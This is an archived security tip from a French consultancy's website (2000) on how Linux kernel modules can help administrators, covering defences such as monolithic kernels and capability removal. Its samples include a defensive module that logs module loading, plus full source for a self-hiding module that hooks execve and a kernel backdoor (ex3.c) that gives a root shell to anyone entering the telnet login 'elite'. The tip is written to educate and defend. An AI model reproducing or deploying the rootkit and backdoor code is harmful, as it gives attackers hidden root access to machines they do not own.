HSC
Network Security Consulting Agency Since 1989 - Specialized in Unix, Windows, TCP/IP and Internet
Text mode: access to the page content
Hervé Schauer Consultants
You are here: Home > Resources > Tips > Linux Kernel Modules (LKM): what benefits for administrators ?
Go to: HSC Trainings
Télécharger le catalogue des formations
Search:  
Version française
   Services   
o Skills & Expertise
o Consulting
o ISO 27001 services
o Audit & Assessment
o Penetration tests
o Vunerability assessment (TSAR)
o Forensics
o ARJEL
o Training courses
o E-learning
   Conferences   
o Agenda
o Past events
o Tutorials
   Resources   
o Thematic index
o Tips
o Lectures
o Courses
o Articles
o Tools (download)
o Vulnerability watch
   Company   
o Hervé Schauer
o Team
o Job opportunities
o Credentials
o History
o Partnerships
o Associations
   Press and
 communication
 
 
o HSC Newsletter
o Bulletin juridique HSC
o Press review
o Press releases
o Publications
   Contacts   
o How to reach us
o Specific inquiries
o Directions to our office
o Hotels near our office
|>|Linux Kernel Modules (LKM): what benefits for administrators ?  

by Frédéric Lavécot (25/10/2000)




--[ Introduction

This tip was written to show that modules can help an administrator to
secure his station(s).

This tip is designed to give examples and further information to
"Advantages [of modules] for the administrator" of Denis Ducamp's presentation
"Linux security characteristics" :
http://www.hsc.fr/ressources/presentations/linux2000/index.html.en


--[ Reminder

A kernel module is a piece of code that adds functionnalities to the kernel 
without needing to recompile or reboot the system.

Modules can be dynamically loaded or unloaded with the commands insmod and 
rmmod. You have to be root to load modules in the kernel so your system can't 
be compromised because of modules.

Modules aren't directly related to security but as they are executed in the
kernel space, they have full control over the running system. Therefore, 
modules can intercept system calls, access all files and kill any process.

This is why a cracker taking control of a Linux box could become litterally 
invisible for the administrator(s).
The adore rootkit is a good example of what script-kidies can do :
http://teso.scene.at/releases.php3

--[ How to protect yourself from modules ?

By compiling a monolithic kernel :
- answer Y or N to all the options in the Kernel
- do not activate the Module support :
     Answer N to Enable Module Support in Loadable Module Support

[note: http://thc.pimmel.com/files/thc/LKM_HACKING.html explains how to patch
a kernel and therefore bypassing the impossibility to load modules.]

By deleting the CAP_SYS_MODULE capability in the /proc/sys/kernel/cap-bound
file. The lcap utility offers an easy access to this file.
lcap can be found at http://pweb.netcom.com/~spoon/lcap/
Capabilities are outside the scope of this tip but are very well explained in
the presentation "Linux security characteristics" :
http://www.hsc.fr/ressources/presentations/linux2000/index.html.en
written by Denis Ducamp.

--[What can I do with modules to protect myself ?

Everything ! Modules are part of the Kernel and can take control or monitor
the running system. Modules can create or intercept system calls.

Only the system adminstrator's imagination is a limit.


--[ Examples

Intercept the init_module system call so that the administrator can be 
warned of any attempt to load a module.
(A sample module realising this interception is given at the end of this tip)

Check the parameters to certain system calls.

Log all the commands of special users.

Add an authentication function to critical functions (loading a module, 
activating the promiscuous mode, ...)

Here are modules that have already been written that can help to enhance the 
security of a Linux system :

stealth.c : this module (which can also be compiled as part of the kernel) 
makes it possible to log and to reject all the incoming packets that have 
flags wrongly set.
stealth.c can be found at : http://www.innu.org/~sean/sytek.htm

11logger (from antirez) : is a patch for the kernel plus a module that log all
the SIGSEGV (segmentation fault) signals. This makes it possible to detect
someone trying to exploit a buffer overflow on your system.
The main page for 11loger is at http://www.kyuzz.org/antirez/sigsegv/

-----------------------------------------------------------------------------
Here are 3 modules that give examples of what it is possible to do to with
modules.

intercept.c : intercept the init_module system call to warn the kernel each
              time a module is being loaded.

stealth.c : example of how a module can hide itself.

ex3.c : example of how a module can give a root shell to someone connecting via
        telnet

-----------------------------------------------------------------------------
intercept.c 

/*
  Intercept the init_module() systemcall
  and send a message to the kernel
  
  written by Frederic Lavecot : frederic.lavecot@hsc.fr
  
  almost all of the source has been taken from : 

  How to intercept Syscalls in (nearly) Complete Linux Loadable Kernel Module
  by pragmatic / THC

  and 

  the adore root-kit
  by Stealth
  

  !!!! NO SMP SUPPORT !!!!

  By looking at the stealth module by Derek Callaway
  I guess adding these lines after the #include would do but I have no way
  to test this.

#ifdef __SMP__
#define SLOT_NUMBER() (cpu_number_map[smp_processor_id()]*2 + !in_interrupt())
#else
#define SLOT_NUMBER() (!in_interrupt())
#endif



  To compile :  

gcc -c -O2 -Wall -I/usr/src/linux/include -DMODVERSIONS <file>.c -o <file>.o

*/

#define MODULE 
#define __KERNEL__


#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>

#include <asm/uaccess.h>
#include <linux/smp_lock.h>

#include <asm/segment.h>


extern void* sys_call_table[];       /* sys_call_table is exported, so we
                                     can access it */               

int (*orig_syscall)(const char *name_user, struct module *mod_user); 
/* the original systemcall */



/*
 * Copy the name of a module from user space.
 */

/* from the /usr/src/linux/kernel/module.c file that comes with the kernel */

static inline long
get_mod_name(const char *user_name, char **buf)
{
	unsigned long page;
	long retval;

	if ((unsigned long)user_name >= TASK_SIZE
	    && !segment_eq(get_fs (), KERNEL_DS))
		return -EFAULT;

	page = __get_free_page(GFP_KERNEL);
	if (!page)
		return -ENOMEM;

	retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
	if (retval > 0) {
		if (retval < PAGE_SIZE) {
			*buf = (char *)page;
			return retval;
		}
		retval = -ENAMETOOLONG;
	} else if (!retval)
		retval = -EINVAL;

	free_page(page);
	return retval;
}

int hacked_syscall(const char *name_user, struct module *mod_user)
{
  char *name;
  long namelen;

  printk(KERN_INFO "\n\n!! LOADING A MODULE !!\n");
  if ((namelen = get_mod_name(name_user, &name)) < 0)
    {
      printk(KERN_INFO "!! Could not read module name\n");
    }
  else
    {
      printk(KERN_INFO "!! Module %s loaded\n",name);
    }
  
  /* 
     Do anything you want like :
     send a packet to a remote station
     send a message to the kernel 
     send a signal to a process ...
     add an authentication function     

     BUT be carefull you are in kernel space !
  */

  return orig_syscall(name_user, mod_user);  
  /*don't forget to call the original system-call*/

}

int init_module(void)                /*module setup*/
{
  struct module *m = &__this_module;

  orig_syscall=sys_call_table[SYS_init_module];
  sys_call_table[SYS_init_module]=hacked_syscall;
  
  printk(KERN_INFO "Module %s loaded\n",m->name);
  printk(KERN_INFO "Tracing init_module systemcalls\n");
 
  return 0;
}

int cleanup_module(void)            /*module shutdown*/
{
  sys_call_table[SYS_init_module]=orig_syscall; 
  /*set back the original systemcall */
  printk("Systemcall tracing Terminated\n");
  return 0;

}


------------------------------------------------------------------------------
stealth.c 

/*** A kernel-module for 2.2 kernels, hiding itself.
 *** It was easier in 2.0 kernels and i found all the old
 *** techniqes not to work. So i invented new one. ;-)
 *** (C) 1999/2000 by Stealth.
 *** All under the GPL. SO YOU USE IT AT YOUR OWN RISK.
 *** http://www.kalug.lug.net/stealth
 ***
 *** Greets to all my friends, you know who you are.
 ***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#ifndef NULL
#define NULL ((void*)0)
#endif

extern void *sys_call_table[];
int (*old_exec)(struct pt_regs regs);

int new_exec(struct pt_regs regs)
{
        int error = 0;
        char *filename;
        
        lock_kernel();
        filename = getname((char*)regs.ebx);
        error =  PTR_ERR(filename);
        if (IS_ERR(error))
           	goto out;
        
        printk("Hi, the hook is still installed. ;-)\n");
	error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
	putname(filename);
out:
	unlock_kernel();
	return error;
}


int init_module()
{
   	int i = 0;
        struct module *m = &__this_module, *lastm = NULL,
	              *to_delete = NULL;
	
        EXPORT_NO_SYMBOLS;
        
        /* install hook */
        old_exec = sys_call_table[__NR_execve];
        sys_call_table[__NR_execve] = new_exec; 
        
        /* get next module-struct */
	to_delete = m->next;
	if (!to_delete) {
		printk("No module found for exchange }|-(\n");
		return 0;
	}
        
        /* and steal all information about it */
	m->name = to_delete->name;
	m->size = to_delete->size;
	m->flags = to_delete->flags;
	        
        /* even set the right USE_COUNT */
        for (i = 0; i < GET_USE_COUNT(to_delete); i++)	
		MOD_INC_USE_COUNT;
	
        /* and drop the attacked module from the list 
         * this won't delete it but makes it disapear for lsmod
         */
        m->next = to_delete->next;
        
	printk("The following modules are visible now:\n");
	while (m) {
		printk("%s\n", m->name);
		m = m->next;
	}
        printk("Tzzz... (sleeping)\n");
        return 0;
}

int cleanup_module()
{
   	sys_call_table[__NR_execve] = old_exec;
   	return 0;
}

------------------------------------------------------------------------------
ex3.c


/*** LINUX 2.2.x & 2.0.x kernel based backdoor for special logins. (net-version)
 *** (C) 1999/2000 by Stealth <stealth@cyberspace.org>, 
 *** ### Use it at your own risk, for educational purposes only, ###
 *** under the GNU public license.
 ***
 *** Usage: (after cc -c -O2 ex3.c and the other things)
 ***
 *** [eve@evil]$ telnet victum.net
 *** Trying 66.66.66.66 ...
 *** Connecting to victum.net
 *** ...
 *** victum login:<elite>Connection closed by foreign host
 *** [eve@evil]$ telnet victum.net
 *** Trying 66.66.66.66 ...
 *** Connecting to victum.net
 *** 
 *** [root@victum]#	
 *** Voila!
 *** NOTE, that in the short gap of time between the 2 telnet's, _everyone_
 *** who telnet's to victum.net will get a rootshell!
 ***
 *** You should know, that it's possible to hide this module, so you
 *** cannot see it via 'lsmod'. I didn't implemented this to avoid 
 *** real-live testings by script-kiddiez.
 *** The module was tested on RH 5.1 with kernel 2.0.35 and 2.2.5
 *** and works well there.
 ***/
#define __KERNEL__
#define MODULE
#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))

#define ELITE "elite"
#define SHELL "/bin/bash"
#define LOGIN "/bin/login"
#define TELNETD "/usr/sbin/in.telnetd"

#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <asm/segment.h>
#include <linux/mm.h>

#if LINUX_VERSION_CODE < S_KERNEL_VERSION(2,2,0)
#define OLD_KERNEL
#else
#include <asm/uaccess.h>
#endif

extern void *sys_call_table[];

/* this functions will we replace */
int (*o_read)(int, char*, int);
int (*o_execve)(struct pt_regs regs);
int (*o_exit)(int);

/* for the PID of in.telnetd */
int telnetd = -1;

/* will we go to supervisor mode ? */
int ok_give_her_a_shell = 0;

/* true if SHELL is not exec'ed */
int not_a_shell = 1;

/* 1st replaced systemcall */
int n_read(int fd, char *s, int len)
{
	int r = 0;
	static int howmuch = 0;
	static char elitelogin[100] = {0};
	
	/* call it as normal */
	r = o_read(fd, s, len);
		
	/* if this is called by in.telnetd AND from 'stdin' AND 
	 * we didn't already gave for this PID a shell AND she is unprivileged
	 */
	if (!fd && current->pid == telnetd && howmuch < 90 && 
	    not_a_shell && !ok_give_her_a_shell) {
#ifdef DEBUG
		printk("%d", howmuch);
#endif
		/* ignore first telnetproto-stuff; only fetch login */
		if (howmuch >= 6)
#ifdef OLD_KERNEL
			elitelogin[howmuch-6] = get_user(s);
#else
			get_user(elitelogin[howmuch-6], s);
#endif
		howmuch++;
	}	
	
	/* Do we got a login ? */
	if (howmuch >= 6+strlen(ELITE) && current->pid == telnetd) {
#ifdef DEBUG
		printk("%s\n", elitelogin);
#endif
		/* Is it our special one ? */
		if (strncmp(elitelogin, ELITE, strlen(ELITE)) == 0) {
#ifdef DEBUG
			printk("Ok, switching into elite-mode.\n");
#endif
			ok_give_her_a_shell = 1;
		}
		/* put us back to normal mode; next one can dialin ;-) */
		telnetd = -1;
		howmuch = 0;
		memset(elitelogin, 0, 100);
		
		/* quit in.telnetd */
		if (ok_give_her_a_shell)
			o_exit(0);
	}
	return r;
}
	
/* redirected execve() call */
int n_exec(struct pt_regs regs)
{
   	int error = 0;
        char *filename = NULL, *ar, **argv;
        

        /* get filename from user-space */ 
#ifdef OLD_KERNEL
        if ((error = getname((char*)regs.ebx, &filename)) != 0)
           	return error;
#else
        filename = getname((char*)regs.ebx);
#endif
        
	if (ok_give_her_a_shell && strncmp(filename, LOGIN, strlen(LOGIN)) == 0) {
#ifdef DEBUG
		printk("spawning a shell...\n");
#endif
		strcpy(filename, SHELL);
		
                argv = (char**)regs.ecx;
                
                /* set argv[1] to '\0' */
		put_user(0, argv + 1);
		
		/* go into SHELL-mode */
		not_a_shell = 0;
		
		error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
		putname(filename);
#ifdef DEBUG
		printk("Ok, connection should be established...\n");
#endif
		
		/* after this, the strange if() above should give true for
		 * next session
		 */
		ok_give_her_a_shell = 0;
		telnetd = -1;
		not_a_shell = 1;
		return error;
	}
	
	/* look if telnetd is called */
	if (strncmp(filename, TELNETD, strlen(TELNETD)) == 0 && telnetd == -1) 
		telnetd = current->pid;
		
#ifdef DEBUG
	printk("execve(\"%s\") called\n", filename);
#endif
	/* execute as normal */
	error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
	putname(filename);
	return error;
}


/* redirect the syscalls */
int init_module(void)
{
#ifdef OLD_KERNEL
   	register_symtab(NULL);
#else
	EXPORT_NO_SYMBOLS;
#endif
        o_execve = sys_call_table[__NR_execve];
        o_read = sys_call_table[__NR_read];
	o_exit = sys_call_table[__NR_exit];
	
	sys_call_table[__NR_execve] = (void*)n_exec;
	sys_call_table[__NR_read] = (void*)n_read;
        return 0;
}

int cleanup_module(void)
{
   	sys_call_table[__NR_execve] = o_execve;
	sys_call_table[__NR_read] = o_read;
        return 0;
}



Last modified on 30 Mars 2006 at 19:23:57 CET - webmaster@hsc.fr
Mentions légales - Information on this server - © 1989-2013 Hervé Schauer Consultants